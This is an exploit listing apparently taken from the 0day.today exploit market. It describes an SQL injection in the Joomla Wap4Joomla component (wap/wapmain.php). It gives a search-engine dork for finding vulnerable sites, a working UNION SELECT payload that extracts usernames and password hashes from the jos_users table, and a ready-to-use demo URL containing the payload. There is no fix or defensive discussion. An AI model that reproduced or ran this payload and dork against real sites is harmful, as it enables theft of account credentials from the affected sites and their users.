[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Joomla Component Wap4Joomla (wapmain.php) SQL Injection Vulnerability

Author
Manas58
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-12042
Category
web applications
Date add
28-04-2010
Platform
php
=====================================================================
Joomla Component Wap4Joomla (wapmain.php) SQL Injection Vulnerability 
=====================================================================

########################### 
       
Author    : Manas58
    
Homepage  : http://www.1923turk.com  
   
Script    : Joomla  http://www.joomlaos.de/Downloads/Joomla_und_Mambo_Komponenten/Wap4Joomla.html
   
Download  : http://www.joomlaos.de/option,com_remository/Itemid,41/func,finishdown/id,2088.html 
 
Dork      : inurl:wapmain.php?option=     
###########################   
         
[ Vulnerable File ]
  
     
wap/wapmain.php?option=onews&action=link&id= [ SQL ] 
          
     
[ XpL ] 
       
-1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
   
[ Demo]
  
http://xxxxx/wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--



#  0day.today [2024-12-26]  #